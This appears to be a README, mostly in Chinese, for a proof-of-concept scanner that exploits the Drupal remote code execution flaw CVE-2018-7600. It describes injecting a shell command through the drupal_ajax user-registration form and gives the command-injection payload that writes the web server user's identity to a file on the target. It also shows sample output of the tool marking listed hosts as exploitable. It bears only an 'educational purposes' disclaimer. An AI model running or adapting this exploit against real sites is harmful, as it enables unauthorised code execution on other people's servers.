
Drupal CVE-2018-7600 / SA-CORE-2018-002 的概念验证
在 Drupal 7.58 之前版本、8.x 版本 8.3.9 之前、8.4.x 版本 8.4.6 之前以及 8.5.x 版本 8.5.1 之前,远程攻击者可以通过影响多个子系统(使用默认或常用模块配置)的问题执行任意代码。
向 drupal_ajax 封装发送数据包以注册用户。允许用户使用 exec 标记并运行 bash。此 PoC 将用户名和 ID 发送至 abcde.txt。
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee abcde.txt
检查 http*://example.com/abcde.txt
[!] PROVIDED ONLY FOR EDUCATIONAL OR INFORMATION PURPOSES.
[?] Enter file name (example: /root/file/hosts.txt): hosts.txt
[+] https://example.com/ Possibly exploitable
[~] Checking... https://example.com/abcde.text
[+] https://example.com/ Exploitable
[+] UID: 33 Name: www-data
[+] Deleting... https://example.com/abcde.text
%s = 文件名
用户 ID、PID 和组 Payload
echo Name: $(id -un) UID: $(id -u) Groups: $(id -Gn) | tee %s